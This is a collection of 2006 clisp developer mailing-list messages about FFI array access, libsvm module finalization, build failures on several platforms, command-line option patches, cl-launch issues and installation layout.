(CONS ATOM ...) is necessary over type (CONS T ...).

Macro-optimization on backquote forms is hairy.

I think it shows a limit of the CL macro model.  One can optimize only
trivial forms when all that is given is pre-order traversal of the code
structure, which is how macros work.  Unless you write more or less
elaborate code transformers, like Series, arnesi or Iterate.
I have yet to understand whether Scheme's approach to macros would help
here. Maybe, maybe not.

Regards,
	Jorg.


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Hoehle, Joerg-Cyril wrote:
> Sam Steingold suggested:
>> how about making the compiler-macro parse-c-type handle c-ptr?
> Where are you going to stop?

fair enough.

;; FIXME: `parse-c-type' is not optimized away in `(c-ptr ...)
(defun problem-y (problem &optional (len (problem-l problem)))
   (with-c-place (p problem)
     (cast (slot p 'y) `(c-ptr (c-array double-float ,len)))))
(defun problem-x (problem &optional (len (problem-l problem)))
   (with-c-place (p problem)
     (cast (slot p 'x) `(c-ptr (c-array (c-array-ptr node) ,len)))))

I can live with the above on the assumption that the cost of data allocation 
will dwarf the cost of `parse-c-type'.
alternatively, I think
(cast (slot p 'y) (vector 'c-ptr (parse-c-type `(c-array double-float ,len)))))
is a viable (if disgusting) alternative (or maybe there is a better way?)

but I don't see how to access a specific element in the array without 
converting the whole array...

thanks.
Sam.



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Sam Steingold wrote:
>> (defun problem-y (problem)
>>   (with-c-place (p problem)
>>     (cast (slot p 'y) `(c-ptr (c-array double-float ,(problem-l =
problem))))))
>this works, thanks.

>what I want is something like
>(defun problem-y-i (problem i)

Here's the variation on the same topic, including range checks:
(defun problem-y (problem &optional i)
  (with-c-place (p problem)
    (if i
        (elt (deref (cast (slot p 'y) `(c-ptr (c-array double-float =
,(problem-l problem))))) i)
      (cast (slot p 'y) `(c-ptr (c-array double-float ,(problem-l =
problem)))))))
A bit verbose...

>(please reply to clisp-list, Reply-to is set)
Indeed, works.


Still trying to optimize?
> > first creating a #<foreign-variable> of the given type, then =
convert.
> > So each slot access produces garbage.
>this sucks.
The only way around this extra step is FFI:MEMORY-AS.

(defun problem-y (problem i)
 (let* ((y ffi::%slot problem 'y)
        (ptr (memory-as y (parse-c-type 'c-pointer))
        (array (foreign-variable ptr (parse-c-type `(c-array =
double-float ,#)))))
    (foreign-value (ffi::%elt array i))))
The latter could be optimized as:
    (memory-as array (parse-c-type 'double-float) (* (sizeof =
'double-float) i)
 - without range checks!
The first two as:
    ptr =3D (memory-as problem (parse-c-type 'c-pointer) (offsetof y in =
problem))

This is what CFFI *might* be doing, if it optimizes well -- not sure at =
all (I fear, quite to the contrary, that it does a lot of pointer =
arithmetic and wasteful pointer object <-> integer conversions).
At least, this is what I hoped CFFI would do.

Who wants to check how CFFI performs optimizations on struct and array =
access?

Regards,
	J=F6rg H=F6hle


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Hoehle, Joerg-Cyril writes:
 > Don Cohen wrote:
 > 
 > > > > > 	:return-type (c-array-ptr c-string)
 > > > Use AREF, use (POSITION #\= #)) etc.
 > >Is this the case that copies the array into a lisp array on every
 > >reference?  I don't much like that.
I agree that in this case it makes sense to read it once, save
the result and use that.
More generally, though, in cases where you might want to read the
value many times (it's changing out from under you) and it's large
(neither of which are true in this case), iterating as in my example
code generates less garbage and saves even more in the case where
you don't need to read the entire thing.

 > > What I normally want is
 > >256 characters with code 0-255.  How do I get that?  
 > >(There should be no errors in that case, right?)
 > I already pointed at iso-8859-1, the 1:1 section in the cookbook, and
 > there's a similar section in the impnotes IIRC about binary i/o IIRC.
Actually, even this is problematic due to the end-of-line stuff.
I want to be able to distinguish CR from LF.
I guess it's really not 1-1 if both of those map to newline.

 > >If you could implement fastcgi entirely within clisp (no ffi) I would 
 > >like that a lot better.
 > Interesting.
 > Cliki mentions a Lisp-level version written for cmucl.  Presumably only
 > the socket stuff is non-portable, so it might be trivial to convert.
... can't seem to reach it at the moment, will look later
(While I'm there I should look for alternatives for accessing mysql
and xmlrpc.  Recommendations are appreciated.)

 > No, it cannot be, since the fastcgi protocol multiplexes stdout and
 > stderr in packets.  The Lisp application writer would not see the socket
 > stream used for the connection.
I see, I might have to read the spec after all.

 > >I think the standard approach is that php runs inside apache.
 > AFAIK it still initializes anew for each request and reparse all
 > includes and the .php file.
Yes, which is one reason why I wanted to use fastcgi.
Also the standard way to save session state has to read/write files.
There are also differences in semantics when you have potentially
many different processes serving requests at the same time.
Fastcgi would give one way of serializing the requests.  One might
also argue that makes it less scalable.


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I am having trouble compiling clisp 2.40 on Solaris 10. I get the 
following error using Sudio 11:

WARNING: locale: no encoding 646, using ISO-8859-1
WARNING: locale: no encoding 646, using ISO-8859-1
   i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
   I I I I I I I      8     8   8           8     8     o  8    8
   I  \ `+' /  I      8         8           8     8        8    8
    \  `-+-'  /       8         8           8      ooooo   8oooo
     `-__|__-'        8         8           8           8  8
         |            8     o   8           8     o     8  8
   ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2006

*** - SVREF: index 29360132 for #(COMPILEDP NIL MY-OPEN NIL BAD NIL 
CHECK-COMPILED-FILE NIL NIL) is not of type `(INTEGER 0 
(,ARRAY-DIMENSION-LIMIT))
Bye.
*** Error code 1
make: Fatal error: Command failed for target `interpreted.mem'

Any hints?

-- 
Thanks,

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Matthew C. Aycock wrote:
> I am having trouble compiling clisp 2.40 on Solaris 10. I get the 
> following error using Sudio 11:
> *** - SVREF: index 29360132 for #(COMPILEDP NIL MY-OPEN NIL BAD NIL 
> CHECK-COMPILED-FILE NIL NIL) is not of type `(INTEGER 0 
> (,ARRAY-DIMENSION-LIMIT))
> Bye.
> *** Error code 1
> make: Fatal error: Command failed for target `interpreted.mem'
> 
> Any hints?
> 

this looks like an invalid bytecode.
please do a clean build.
please make sure that there are no old *.fas files floating around.



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When I switched cl-launch to compile the current script, and tried to
create cl-launch scripts that didn't have a .sh extension, I realized
that clisp systematically merge-pathnames any provided source pathname
to add the type "lisp". This means that it's impossible to
compile-file a source file that doesn't have an extension at all
(unless you symlink it with another name).

I think this is a bug that goes against the specification.
Automatically adding ".lisp" shouldn't be done at all, at least, not
if a file already exists without this extension.

In the meantime, I've changed cl-launch to load without compiling when
a file has no extension.

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Far=C3=A9 writes:
> When I switched cl-launch to compile the current script, and tried to
> create cl-launch scripts that didn't have a .sh extension, I realized
> that clisp systematically merge-pathnames any provided source pathname
> to add the type "lisp". This means that it's impossible to
> compile-file a source file that doesn't have an extension at all
> (unless you symlink it with another name).
>=20
> I think this is a bug that goes against the specification.
> Automatically adding ".lisp" shouldn't be done at all, at least, not
> if a file already exists without this extension.
>=20
> In the meantime, I've changed cl-launch to load without compiling when
> a file has no extension.

Perhaps  pushing "" onto CUSTOM:*SOURCE-FILE-TYPES* would help?


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Thanks a lot! By setting it CUSTOM:*SOURCE-FILE-TYPES* to nil, I can
happily compile cl-launch scripts. Will be in cl-launch 1.91.

NB: not an issue in cl-launch 1.90 when either dump images or having
scripts with an extension in name -- my regression test suite didn't
find it because it creates scripts with names in .sh.

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On 09/10/06, Sam Steingold <sds@gnu.org> wrote:
> Far=E9 wrote:
> > When I switched cl-launch to compile the current script, and tried to
> > create cl-launch scripts that didn't have a .sh extension, I realized
> > that clisp systematically merge-pathnames any provided source pathname
> > to add the type "lisp". This means that it's impossible to
> > compile-file a source file that doesn't have an extension at all
> > (unless you symlink it with another name).
> >
> > I think this is a bug that goes against the specification.
> > Automatically adding ".lisp" shouldn't be done at all, at least, not
> > if a file already exists without this extension.
>
> see CUSTOM:*SOURCE-FILE-TYPES*
> http://clisp.cons.org/impnotes/system-dict.html#compilefile
> http://clisp.cons.org/impnotes/system-dict.html#loadfile


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When invoking clisp, cl-launch tries to provide parameters to the
launched software by giving them to clisp after -- as an argument
separator. This kind of works well, but fails in some strange
circumstances, if the rest of the arguments don't look like an
invocation of clisp.

clisp -- nodash -anything # OK
clisp -- -I # OK
clisp -- -z # WRONG
clisp -- -x 1 # OK
clisp -- -x  # WRONG

I don't even see "--" documented in either the man page or the
impnotes, so if anything I'm happily surprised that this worked for me
so well so far. My workaround is to use "--" "foo" as a double
separator. "--" seems to tell clisp no to do anything about following
arguments, and "foo" seems to tell clisp to not even do a preliminary
syntax check of what follows. I then take the cdr of ext:*args* to
deduce what are the arguments to the launched software.

I think this might be a bug in clisp, and/or something missing in the
documentation.

Thanks for this piece of software...

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That's exactly it! Thanks for this prompt bugfix! Will it be committed?
Sorry for not being specific enough in the bug report.

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On 10/10/06, Sam Steingold <sds@gnu.org> wrote:
> > clisp -- nodash -anything # OK
> > clisp -- -I # OK
> > clisp -- -z # WRONG
> > clisp -- -x 1 # OK
> > clisp -- -x  # WRONG

> since you tell us nothing from the list in
> http://clisp.cons.org/impnotes/clisp.html#bugs
> and you did not even tell us if "clisp" is the driver or your own executa=
ble
> image, and you did not tell us exactly what you want and what you get ins=
tead,
> I can only guess as to what the problem might be.
> you can try this patch though:
>
>
> --- _clisp.c    07 Jul 2005 05:57:39 -0400      1.37
> +++ _clisp.c    10 Oct 2006 09:11:48 -0400
> @@ -246,8 +246,9 @@
>             case 'n': /* -norc */
>             case 'r': /* -repl */
>             case 'v':
> -          case '-':
>               break;
> +          case '-':
> +            goto done_options;
>             /* Skippable options with arguments. */
>             case 'm':
>             case 's':


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CLISP passes the :LIBRARY argument to dlopen (or LoadLibrary) as is.
Should it "DWIM" instead?
E.g., should it try to (optionally, of course) append ".so" (or ".dll")?
Should it try to prepend "lib" (on unix)?
In that case (:LIBRARY "pq") will open "libpq.so" on Unix and "pq.dll"
on woe32 -- thus enabling portable code.
Do any other lisps (or perl/python/ruby whatever) do anything like that?

The CLISP function that opens the library, libopen, has the following
comment:
  /* FIXME: On UNIX_DARWIN, need to search for the library in /usr/lib */
Does that mean that on all other unixes dlopen searches /usr/lib
automatically, but not on osx?


PS. I am yet to see a compelling argument for FFI:OPEN-FOREIGN-LIBRARY...

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I consider the libsvm module to be done, so everyone interested in
KDML (Knowledge Discovery - Data Mining - Machine Learning) should try
the CVS head ASAP.
Everyone using FFI should try it also (there have been some changes).
Everyone else should try it too - just to help me avoid the repeat of
the embarrassment associated with the bug in the previous release.
Thanks.

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Yup, looks better. Works for me! Will *that* be committed to 2.41?
[I have a satisfying work-around for now, so I'm in no hurry.]

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On 10/10/06, Sam Steingold <sds@gnu.org> wrote:
> Far=E9 wrote:
> > That's exactly it! Thanks for this prompt bugfix! Will it be committed?
>
> no, because it breaks the interaction between gnu-style long options and =
things
> like -K, e.g., "clisp -K full --version" becomes different from "clisp
> --version -K full".

> how about this?
>
> --- _clisp.c    07 Jul 2005 05:57:39 -0400      1.37
> +++ _clisp.c    10 Oct 2006 12:19:00 -0400
> @@ -246,8 +246,10 @@
>             case 'n': /* -norc */
>             case 'r': /* -repl */
>             case 'v':
> -          case '-':
>               break;
> +          case '-':
> +            if (arg[2] =3D=3D '\0') goto done_options; /* --: end of arg=
uments */
> +            else break;   /* GNU-style long options --help, --version */
>             /* Skippable options with arguments. */
>             case 'm':
>             case 's':


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Hi,

here are some more comments on the module.

o You use the EXPORTING package.  This has the side-effect of exporting
all foreign functions, including the ones you wrap.
E.g. train vs. svm_train.  This is confusing to the user.
The user MUST NOT use svm_train (prevent duplicate finalization).

o Similar for PREDICT-VALUES. svm_predict_values look like internal
helpers.

IMHO, the package exports should reflect the functions intended to be
called and those only.

Likewise, I find FASTCGI::GETENV not such a nice solution.  I understand
that the library author may fear conflicts with user's packages using
package "EXT" as a rationale for the choice.
Maybe that's a good exception to the above rule, maybe not.

Possibly instead of not using EXPORTING, a couple of well-chose UNEXPORT
would be great?


o Please turn the comments to make-problem about destroy-problem and
models into a documentation string.  It's good to document contracts.


o Finalization
>guarding works in the other direction, I think.
>I want PROBLEM not to be GCed until MODEL is.
Another idea is again to use SET-FOREIGN-POINTER.
You can have all models share the pointer of the problem:
	(set-foreign-pointer model problem)
Then problem cannot be finalized until all models are.
Of course, you must destroy the reference within destroy-model. SETF
VALID NIL is not enough for that.  It's even wrong, since you'd have a
single shared pointer, you cannot use (SETF VALID) on the model or you'd
kill the problem.  But you can act like C++ people: replace the model's
pointer with a pointer (to NULL or :COPY) and additionaly make that one
invalid.

(defun destroy-model (model)
   when validp model
     ;; unlink from pointer to problem and prevent further use
     (setf (validp (set-foreign-pointer model :copy)) nil)

You may wish to experiment with that idea.

Beside that, I found the code looks very clean.  I never tried it out,
though.  I'm too much into static testing :-)

Regards,
	Jorg Hohle.


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Don,

Your suggestion has been implemented in CVS by John Hinsdale.
Thank you, John (please add a notice to src/NEWS about it)

>I see no documentation on the php site although they claim it works
>and various people claim to use it.
http://lighttpd.net/documentation/fastcgi.html says
"One of the most important application that has a FastCGI interface is
php which can be downloaded from http://www.php.net/ .
You have to recompile the php from source to enable the FastCGI
interface as it is normally not enabled by default in the
distributions."

Maybe this helps,
	Jorg.


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On 10/10/06, Sam Steingold <sds@gnu.org> wrote:
> I consider the libsvm module to be done, so everyone interested in
> KDML (Knowledge Discovery - Data Mining - Machine Learning) should try
> the CVS head ASAP.
> Everyone using FFI should try it also (there have been some changes).
> Everyone else should try it too - just to help me avoid the repeat of
> the embarrassment associated with the bug in the previous release.
> Thanks.

Sorry I didn't try this a couple of days ago. In building 2.41 on MinGW,
I find that wildcard.fas fails to load:

;; Loading file
C:\projects\third_party\build\clisp-2.41\build-without-readline\wildcard\wildcard.fas
...
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "fnmatch" does not exist
         Skip foreign function creation
WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function
          "MODULE__WILDCARD__CONSTANT_MAP_INT"
         does not exist
         Skip foreign function creation
*** - funcall: undefined function MODULE__WILDCARD__CONSTANT_MAP_INT

./clisp-link: failed in
/c/projects/third_party/build/clisp-2.41/build-without-readline
make: *** [full] Error 1

I will leave out the wildcard module and redo my build, and try the
FFI callback fix.

-- 
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> * Jack Unrue <wqhaehr@tznvy.pbz> [2006-10-12 23:52:42 -0600]:
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> Sorry I didn't try this a couple of days ago.

indeed.

> In building 2.41 on MinGW, I find that wildcard.fas fails to load:

please try downloading the source distribution in a couple of hours.
sorry.


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Sam Steingold wrote:
>no, set-foreign-pointer sets fa_base of model to fv_address of problem.
>problem can be collected without collecting its fv_address.
>I don't see how this can work.

I still think it can work.  One has to think about the three objects =
that every #<FOREIGN-VARIABLE> involves (#<FOREIGN-ADDRESS> and =
#<FOREIGN-POINTER>) and decide where to put the finalizer.
Maybe you should try to put the problem finalizer on the =
foreign-pointer, not the foreign-variable?  That's in line with my =
suggestion to have the models share their pointer with the problem: as =
long as a model is reachable, the problem pointer is reachable as well =
and the problem finalizer will not be called (while the problem's =
#<foreign-variable> object may be unreachable already).

If the users calls destroy-problem explicitly, the pointer gets =
invalidated and subsequent calls to destroy-model could be used to =
signal a protocol error, i.e. a fault in the program.
The explicit destroy calls could be advertised to the user as a means of =
early resource reclamation.  You said these data vectors could be large. =
 Or just leave it all to GC (via finalization).

Regards,
	J=F6rg.


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On 10/12/06, Sam Steingold <sds@gnu.org> wrote:
> > * Jack Unrue <wqhaehr@tznvy.pbz> [2006-10-12 23:52:42 -0600]:
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> > Sorry I didn't try this a couple of days ago.
>
> indeed.
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> > In building 2.41 on MinGW, I find that wildcard.fas fails to load:
>
> please try downloading the source distribution in a couple of hours.
> sorry.

I re-downloaded 2.41 at 8am MST. Now the build gives me this error:

;; Compiling file
C:\projects\third_party\build\clisp-2.41\build\bindings\win32\win32.lisp
...
*** - EVAL: variable kernel32 has no value

0 errors, 0 warnings
make[1]: *** [win32.fas] Error 1
make[1]: Leaving directory
`/c/projects/third_party/build/clisp-2.41/build/bindings/win32'
make: *** [bindings/win32] Error 2


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On 10/13/06, Sam Steingold <sds@gnu.org> wrote:
>
> this patch should help:
>
>
> --- win32.lisp  14 Jun 2006 10:52:59 -0400      1.27
> +++ win32.lisp  13 Oct 2006 10:50:20 -0400
> @@ -23,6 +23,7 @@
>   ;;(c-lines "#define WINVER 0x0500~%#include <windows.h>~%")
>
>   ;(defconstant system32 (ext:string-concat (ext:getenv "WINDIR")
> "\\system32\\"))
> +(eval-when (compile load eval)
>   (defconstant advapi32      ; (ext:string-concat system32 "advapi32.dll")
>     "advapi32.dll")
>   (defconstant kernel32      ; (ext:string-concat system32 "kernel32.dll")
> @@ -33,6 +34,7 @@
>     "shell32.dll")
>   (defconstant user32          ; (ext:string-concat system32 "user32.dll")
>     "user32.dll")
> +)
>
>   (def-call-out GetCommandLineA (:library kernel32)
>     (:arguments) (:return-type c-string))

Yep, thanks. The following is now uploaded to sf.net /incoming

clisp-2.41-win32-mingw-without-readline.zip
  built by Jack Unrue <jdunrue@gmail.com>
  using mingw without i18n and readline
  with rawsock, dirkey, wildcard and bindings/win32

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On 10/13/06, Sam Steingold <sds@gnu.org> wrote:
> Jack Unrue wrote:
> >
> > clisp-2.41-win32-mingw-without-readline.zip
> >   built by Jack Unrue <jdunrue@gmail.com>
> >   using mingw without i18n and readline
> >   with rawsock, dirkey, wildcard and bindings/win32
>
> thanks!

You're welcome :-)  I re-uploaded that build using the
revised win32.lisp from your other email.

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source tarball from cvs (12.11.06 10:26 GMT+2), mingw, win2k

;; Compiling file
C:\gnu\home\src\clisp\clisp-2.41\build-full\bindings\win32\win32.lisp ...
*** - EVAL: variable kernel32 has no value

If compile it manual:

[1]> (compile-file "win32")
;; Compiling file
C:\gnu\home\src\clisp\clisp-2.41\build-full\bindings\win32\win32.lisp ...
*** - EVAL: variable kernel32 has no value
...
Break 1 w32[2]> backtrace
<1> #<system-function EXT:SHOW-STACK> 3
<2> #<compiled-function SYSTEM::PRINT-BACKTRACE>
<3> #<compiled-function SYSTEM::DEBUG-BACKTRACE>
<4> #<system-function SYSTEM::READ-EVAL-PRINT> 2
<5> #<compiled-function SYSTEM::BREAK-LOOP-2-2>
<6> #<system-function SYSTEM::SAME-ENV-AS> 2
<7> #<compiled-function SYSTEM::BREAK-LOOP-2>
<8> #<system-function SYSTEM::DRIVER>
<9> #<compiled-function SYSTEM::BREAK-LOOP>
<10> #<system-function invoke-debugger> 1
<11> #<system-function error>
<12> #<compiled-function SYSTEM::CHECK-VALUE>
<13> #<special-operator unless>
EVAL frame for form (unless kernel32 (FFI::NOTE-C-FUN '"GetCommandLineA"
#:DEF-CALL-OUT-2951 'nil))
<14> #<special-operator progn>
EVAL frame for form (progn (unless kernel32 (FFI::NOTE-C-FUN
'"GetCommandLineA" #:DEF-CALL-OUT-2951 'nil)))

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Dear clisp developers,

I just added a "direct executable" feature to cl-launch 2.0, to
produce "standalone" executables instead of a script that relies on
either sources or an external dump.

I found myself unable to get this feature working with clisp, because
clisp insists on parsing options. Could it be possible to apply the
parse-options patch by Klaus Grue GRD-2006-03-09, or something
similar?
http://article.gmane.org/gmane.lisp.clisp.devel/15476
http://yoa.dk/wiki/clisp/diff-u
The :script option doesn't cut it.
As for the solution to problem (7) in said email, I'd say that
ideally, clisp would be able to open an executable file with option
-M, thus allowing to execute it with parsed options. But that's a more
complex task indeed.

Note SBCL and GCL executables seem to have the same issues. I could
only get this cl-launch feature to work with ECL at this time.

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> * Far=C3=A9 <snuerr@tznvy.pbz> [2006-10-15 11:40:58 -0400]:
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> The :script option doesn't cut it.

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CLISP now has a new module: gtk2, based on a generous contribution of
James Bailey <dgym.bailey@gmail.com>.
It should work on both unix and woe32.
The main entry point is gtk:run-glade-file : create a UI using Glade and
run it from CLISP.
http://sds.podval.org/clisp/impnotes/faq.html#faq-gui
http://sds.podval.org/clisp/impnotes/gtk.html

An example UI is provided:

$ ./configure --with-module=gtk2 --build build-gtk
$ ./build-gtk/clisp -K full -x '(gtk:run-glade-file "modules/gtk2/ui.glade")'

it is very basic and does nothing interesting.

There are now three semi-independent competitions:

1. create a good replacement for the supplied modules/gtk2/ui.glade
   which really is a useful CLISP GUI.

2. based on the winning entry of [1] create a beautiful screenshot.

3. suggest how the winners in [1] and [2] should be rewarded.

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Hello,

consider following (rather artificial) snippet:

(defmacro add-crlf (string)
  (with-output-to-string (o)
    (write-string string o)
    (princ #\Return o)
    (princ #\LineFeed o)
    ))

(print (length (add-crlf "a")))

It prints 3 when loaded without or with compiling, but 2 when
compile-file is used and .fas loaded.

I think it is due to treatment described in impnotes 13.8., Treatment
of Newline during Input and Output.

I am no language lawyer, but I believe this contradicts requirements
of CLHS about similarity of compile-file/loaded literals:

"The file compiler must cooperate with the loader in order to assure
that in each case where an externalizable object is processed as a
literal object, the loader will construct a similar object."
(3.2.4.1)

Is this a bug, or in some twisted sense "desired behaviour"?

Regards,

Tomas


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Fran=E7ois-Ren=E9 Rideau aka. Far=E9 wrote:
>... clisp systematically merge-pathnames any provided source pathname
>to add the type "lisp". This means that it's impossible to
>compile-file a source file that doesn't have an extension at all

>I think this is a bug [...]
I think we agree on that.

>Automatically adding ".lisp" shouldn't be done at all, at least, not
>if a file already exists without this extension.
Indeed, it should behave like LOAD for consistency of the user's =
experience.

>In the meantime, I've changed cl-launch to load without compiling when
>a file has no extension.

Do you know about
	(load foo :compiling T)
-- Quite useful to cope with multiple versions

Regards,
	J=F6rg H=F6hle.


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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2006-10-13 11:06:34 +0200]:
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> Sam Steingold wrote:
>>no, set-foreign-pointer sets fa_base of model to fv_address of problem.
>>problem can be collected without collecting its fv_address.
>>I don't see how this can work.
>
> I still think it can work.

I tried and failed, so - http://www.cygwin.com/acronyms/#PTC  :-)
(actually, DIY - you _do_ have cvs write access)

you do not need to install anything, just do
make MODULES=libsvm full mod-check

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I got clisp-2.41 to build successfully with gcc-3.4.3 on GNU/Linux
IA-32, and gcc-3.3.6 on Sun Solaris 10 SPARC.

However, a similar build on GNU/Linux on AMD64 with gcc-3.3.5 produces
an executable that dumps core during the validation tests. Here is a
debug traceback:

	% gdb ./lisp.run
	(gdb) run  -B . -N locale -E 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc -m 1800KW -x '(and (load "init.lisp") (sys::%saveinitmem) (ext::exit)) (ext::exit t)'
	Starting program: /local/build/clisp-2.41/src/lisp.run -B . -N locale -E 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc -m 1800KW -x '(and (load "init.lisp") (sys::%saveinitmem) (ext::exit)) (ext::exit t)'

	Program received signal SIGSEGV, Segmentation fault.
	0x00000000004c50ee in write_errorasciz_substring (start=0x56247f ": illegal ~S argument ~S", end=0x562489 "~S argument ~S") at error.d:119
	119	  var uintL clen = Encoding_mblen(encoding)(encoding,bptr,bendptr);
	(gdb) bt
	#0  0x00000000004c50ee in write_errorasciz_substring (start=0x56247f ": illegal ~S argument ~S", end=0x562489 "~S argument ~S") at error.d:119
	#1  0x00000000004c529b in write_errorstring (errorstring=0x56247f ": illegal ~S argument ~S") at error.d:193
	#2  0x00000000004c5a61 in prepare_error (errortype=type_error, errorstring=0x56247d "~S: illegal ~S argument ~S", start_driver_p=true) at error.d:336
	#3  0x00000000004c5a8e in fehler (errortype=Variable "errortype" is not available.
	) at error.d:349
	#4  0x0000000000438389 in C_make_encoding () at encoding.d:2042
	#5  0x00000000004395b6 in init_encodings_2 () at encoding.d:2475
	#6  0x000000000041191a in initmem () at spvw.d:1503
	#7  0x00000000004141d5 in init_memory (p=0x6fbb00) at spvw.d:2925
	#8  0x0000000000412bed in main (argc=16, argv=0x7fbfffe198) at spvw.d:3278

On IA-64, with a build using gcc-3.4.2, I get a different error:

	./lisp.run -B . -N locale -E 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc -m 1800KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)"
	Cannot map memory to address 0x4000000000000 .
	[spvw_mmap.d:359] errno = EINVAL: Invalid argument.
	./lisp.run: Not enough memory for Lisp.

The "not enough memory" error is bogus, since the machine has 4GB of
RAM, and a load of essentially zero, with nothing else of significance
running.

On Sun Solaris IA-32 in a build with gcc-3.3, I get this test failure:

	;; Loading file /local/build/gcc/clisp-2.41/src/compiler.fas ...*** Signal 11
	make: Fatal error: Command failed for target `halfcompiled.mem'

For now, I've created a binary distribution of the IA-32 installation
of clisp-2.41, and installed that on the AMD64 and IA-64 systems,
since both can run IA-32 binaries.

I have a score of other architectures and Unix versions on which I
could build clisp, but since each build requires several manual steps,
I'm not attempting those extra builds until the problems on our key
architectures get sorted out.

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At present, a build of clisp (2.41 being the most recent) produces an
installation of 84 files in these directories:

	$(prefix)/bin/clisp
	$(prefix)/lib/clisp/
	$(prefix)/share/doc/clisp/

This makes it inconvenient to maintain multiple versions of clisp on
the system, since the only way to do that is to change the value of
prefix, requiring yet another directory in a possibly already-long
PATH list.

Many other packages take the approach exhibited by this structure:

	$(prefix)/bin/clisp
	$(prefix)/bin/clisp-x.y.z
	$(prefix)/lib/clisp-x.y.z/
	$(prefix)/share/doc/clisp-x.y.z/

or this one

	$(prefix)/bin/clisp
	$(prefix)/bin/clisp-x.y.z
	$(prefix)/lib/clisp/clisp-x.y.z/
	$(prefix)/share/doc/clisp/clisp-x.y.z/

where the clisp file in the bin directory is a (symbolic or hard) link
to clisp-x.y.z.

Installation of the next release of the package removes

	$(prefix)/bin/clisp

before installing the new executable, so that on completion, all older
versions remain intact, and usable by explicit name, with clisp
pointing to the most recent.

With large complex systems, I have often found it useful to be able to
easily try older versions of the package when an anomaly or bug shows
up.

Please consider making such a change in future versions of clisp.

I also notice that clisp has neither a manual page nor an emacs info
document; both would be welcome additions to future distributions.
While there are a dozen HTML files in the distribution tree, along
with clisp.{dvi,ps,pdf}, Unix systems have no standard place to put
these, and users are accustomed to run the man and info commands to
find documentation.

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In working around build problems for clisp-2.41, I built two binary
distribution archives, one from a successful build on GNU/Linux on
IA-32 for installation on local AMD64 and IA-64 systems where I still
have build failures, and another for a remote user who did not have a
C compiler on Sun Solaris 10 SPARC that could successfully build
clisp-2.41 (I did my build with gcc-3.3.3).

After doing the build with the default prefix=/usr/local setting, to
make the binary tree, I tried

	$ make prefix=/tmp/clisp install

That produced an installation tree that I could bundle up starting in
/tmp/clisp, but it would not run in any file tree with a different
prefix.

I then did

	$ cd /tmp/clisp
	$ find . ! -type d | sort > ~/foo.cfiles
	$ cd /usr/local
	$ tar cf ~/clisp-2.41-solaris-10-sparc-binary-dist.tar.gz `cat ~/foo.cfiles`

to create a distribution relative to the standard /usr/local that
would run elsewhere, although I later found that I needed to include
lib/libreadline.so.5 as well.

It would be nice if clisp could work out its own installed file
locations by computing paths relative to the pathname of the clisp
binary, rather than having them hard-coded in the executable:

	$ strings -a /usr/local/bin/clisp | grep /usr/local
	%MAGIC%LISPLIBDIR=/usr/local/lib/clisp
	%MAGIC%LOCALEDIR=/usr/local/share/locale
	/usr/local/bin/clisp

Developers on Apple Mac OS X do this for most applications, so their
distributions can be unbundled anywhere in the filesystem, and used
from there.

The commercial Maple, Mathematica, and Matlab systems all do this as
well.  All use wrapper shell scripts that are configured at
installation time to record absolute pathnames.

Similarly, in the annual TeXLive distributions that some dedicated
people in the TeX User Group have been producing for the last decade,
all binaries are statically linked, and use relative paths to find
files, so that they can be run directly off the distribution CDs and
DVDs, or copied onto a user's filesystem in any convenient location,
and they do not rely on availability of particular shared libraries on
end-user systems.

I myself have written packages that have hard-wired paths compiled
into them, but elimination of that infelicity is on my TO-DO list for
each of them.

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Nelson H. F. Beebe wrote:
> In working around build problems for clisp-2.41, I built two binary
> distribution archives, one from a successful build on GNU/Linux on
> IA-32 for installation on local AMD64 and IA-64 systems where I still
> have build failures, and another for a remote user who did not have a
> C compiler on Sun Solaris 10 SPARC that could successfully build
> clisp-2.41 (I did my build with gcc-3.3.3).
> 
> After doing the build with the default prefix=/usr/local setting, to
> make the binary tree, I tried
> 
> 	$ make prefix=/tmp/clisp install

the standard way to share CLISP binary distributions, as explained in 
unix/INSTALL, is to do

	$ make distrib

> That produced an installation tree that I could bundle up starting in
> /tmp/clisp, but it would not run in any file tree with a different
> prefix.

of course. this is because "make install" records lisplibdir in the 
clisp executable.

> It would be nice if clisp could work out its own installed file
> locations by computing paths relative to the pathname of the clisp
> binary, rather than having them hard-coded in the executable:

clisp already does it if you use "make distrib",
search for ENABLE_RELOCATABLE.


Sam.


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Sam Steingold wrote:
> Nelson H. F. Beebe wrote:
>> I got clisp-2.41 to build successfully with gcc-3.4.3 on GNU/Linux
>> IA-32, and gcc-3.3.6 on Sun Solaris 10 SPARC.
> 
> good.
> 
>> However, a similar build on GNU/Linux on AMD64 with gcc-3.3.5 produces
>> an executable that dumps core during the validation tests.
> 
> this is not validation, this is lisp image creation.
> 
>> Here is a debug traceback:
>>
>>     % gdb ./lisp.run
>>     (gdb) run  -B . -N locale -E 1:1 -Efile UTF-8 -Eterminal UTF-8 
>> -norc -m 1800KW -x '(and (load "init.lisp") (sys::%saveinitmem) 
>> (ext::exit)) (ext::exit t)'
>>     Starting program: /local/build/clisp-2.41/src/lisp.run -B . -N 
>> locale -E 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc -m 1800KW -x '(and 
>> (load "init.lisp") (sys::%saveinitmem) (ext::exit)) (ext::exit t)'
>>
>>     Program received signal SIGSEGV, Segmentation fault.
>>     0x00000000004c50ee in write_errorasciz_substring (start=0x56247f 
>> ": illegal ~S argument ~S", end=0x562489 "~S argument ~S") at error.d:119
>>     119      var uintL clen = 
>> Encoding_mblen(encoding)(encoding,bptr,bendptr);
>>     (gdb) bt
>>     #0  0x00000000004c50ee in write_errorasciz_substring 
>> (start=0x56247f ": illegal ~S argument ~S", end=0x562489 "~S argument 
>> ~S") at error.d:119
